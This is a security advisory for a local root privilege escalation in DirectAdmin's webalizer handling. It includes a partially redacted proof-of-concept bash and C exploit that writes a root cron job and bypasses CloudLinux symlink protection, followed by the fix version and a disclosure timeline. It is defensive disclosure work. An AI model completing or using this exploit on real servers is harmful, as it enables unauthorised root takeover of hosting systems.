Vulnerability

Note: Some details were removed to prevent simple recreation of exploit.

Affected software: DirectAdmin versions below 1.58.2

DirectAdmin performs unsafe operations as root on user webalizer directories and can be tricked to write user provided data to any file in a system as root, allowing for privilege escalation to root.

Exploit

Exploit is using ZSA-2019-5 for CloudLinux fs.protected_symlinks_create bypass.

#!/bin/bash

# DirectAdmin 1.58.1 webalizer local root exploit with CloudLinux
# fs.protected_symlinks_create bypass. CageFS does not prevent exploitation.
#
# Might be unreliable under light server load. Just use more domains at the
# same time or repeat tally.
#
# Usage:
# 1. ./da_webalizer_poc.bash domain_name
# 2. Wait for DirectAdmin tally or execute tally manually:
#    echo 'action=tally&value=USER&type=user' >> /usr/local/directadmin/data/task.queue; /usr/local/directadmin/dataskq
#
# ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒

if [ $# -ne 1 ]
then
    echo "Usage: $0 <domain>"
    exit 1
fi

payload="* * * * * root /usr/bin/wall Hacked"
domain="$1"

fail()
{
    echo "$@" 1>&2
    exit 1
}

cd "${HOME}/domains/$domain/" \
    || fail "Unable to chdir to ~/domains/$domain/"
# We will also perform fs.protected_symlinks_create bypass in case CloudLinux is used.
if [ ! -e "stats.bak" ]
then
    mv "stats" "stats.bak" \
        || fail "Unable to move \"stats\" to \"stats.bak\" - was domain visited and tally already run?"
elif [ -e "stats" ]
then
    rm -rf "stats"
fi
mkdir -p "etc/cron.d" \
    || fail "Unable to create etc/cron.d"
touch "etc/cron.d/hax" \
    || fail "Unable to create etc/cron.d/hax"
▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒
    ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒ ▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒
▒▒▒▒
    ▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒
▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒
    ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒ ▒
    ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
cp "stats.bak/webalizer.current" "stats/" \
    || fail "Unable to move \"stats.bak/webalizer.current\" \"stats/\""

cat >da_webalizer_poc.c <<__EOF__
/*
 * DirectAdmin 1.58.1 webalizer local root exploit with CloudLinux
 * fs.protected_symlinks_create bypass. CageFS does not prevent exploitation.
 *
 * Might be unreliable under light server load. Just use more domains at the
 * same time or repeat tally.
 *
 * Do not run this file directly, use da_webalizer_poc.bash.
 *
 * @author Bartosz Kwitniewski
 */

#define INOTIFY_MASK IN_ACCESS

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <sys/inotify.h>
#include <linux/limits.h>

void fail_func(const char *func)
{
    perror(func);
    exit(EXIT_FAILURE);
}

void fail(const char *str)
{
    printf("%s\n", str);
    exit(EXIT_FAILURE);
}

int main(int argc, char *argv[], char *envp[])
{
    struct passwd *pw;
    char webalizer_path[PATH_MAX];
    int ret, inotify, watch;

    if(argc != 2)
    {
        printf("Usage: %s <domain>\n", argv[0]);
        exit(1);
    }

    // Get user home.
    pw = getpwuid(getuid());
    if(pw == NULL)
    {
        fail_func("getpwuid");
    }

    // Define paths.
    ret = snprintf(webalizer_path, sizeof(webalizer_path) - 1, "%s/domains/%s/stats", pw->pw_dir, argv[1]);
    if(ret < 0)
    {
        fail_func("snprintf");
    } else if(ret >= sizeof(webalizer_path) - 1) {
        webalizer_path[sizeof(webalizer_path) - 1] = '\0';
    }

    // Enter target dir.
    if(chdir(webalizer_path) < 0)
    {
        fail_func("chdir");
    }

    // Initialize inotify.
    inotify = inotify_init();
    if(inotify < 0)
    {
        fail_func("inotify_init");
    }

    // Setup inotify watch for webalizer_path.
    watch = inotify_add_watch(inotify, ".", INOTIFY_MASK);
    if(watch < 0)
    {
        fail_func("inotify_add_watch");
    }

    while(1)
    {
        char buf[4096] __attribute__ ((aligned(__alignof__(struct inotify_event))));
        const struct inotify_event *event;
        ssize_t len;
        char *ptr;

        // Read events.
        len = read(inotify, buf, sizeof(buf));
        if(len <= 0)
        {
            fail_func("read");
        }

        // Process read events.
        ▒▒▒▒▒▒▒ ▒ ▒▒▒▒ ▒▒▒ ▒ ▒▒▒ ▒ ▒▒▒▒ ▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒ ▒▒▒▒▒▒▒▒▒▒▒
        ▒
            ▒▒▒▒▒ ▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒
            ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒
            ▒
                ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒▒▒▒▒▒▒ ▒ ▒▒ ▒▒▒▒▒▒ ▒▒▒ ▒▒▒▒▒▒▒▒▒▒
            ▒
            ▒▒▒▒▒▒▒▒▒▒▒▒▒▒
            ▒
                ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒
                ▒
                    ▒▒ ▒▒ ▒▒▒▒▒▒▒▒ ▒ ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒▒▒▒ ▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒ ▒▒▒▒
                    ▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒ ▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒
                    ▒▒▒▒▒▒▒▒
                    ▒
                        ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
                        ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
                    ▒
                ▒
            ▒
        ▒
    }

    return 0;
}

__EOF__

gcc -Wall -O2 -o da_webalizer_poc da_webalizer_poc.c \
    || fail "Unable to compile da_webalizer_poc.c - You might need to compile it elsewhere"

echo "Done. Execute the following command on host, that will be connecting to target"
echo "account. We have to do this because DirectAdmin tally will remount user LVE on"
echo "CloudLinux and disconnect us, so we have to reconnect quickly:"
echo ""

cat <<__EOF__
▒▒▒▒▒ ▒▒▒▒▒ ▒▒ ▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒ ▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒
__EOF__

Solution

Update DirectAdmin to version 1.58.2 or later.

Timeline

  • 2019-08-20 - Vulnerability reported to vendor.
  • 2019-08-21 - Response from vendor and initial fix in pre-release binaries.
  • 2019-08-22 - Final fix in pre-release binaries.
  • 2019-08-27 - DirectAdmin 1.58.2 released with vulnerability fixed.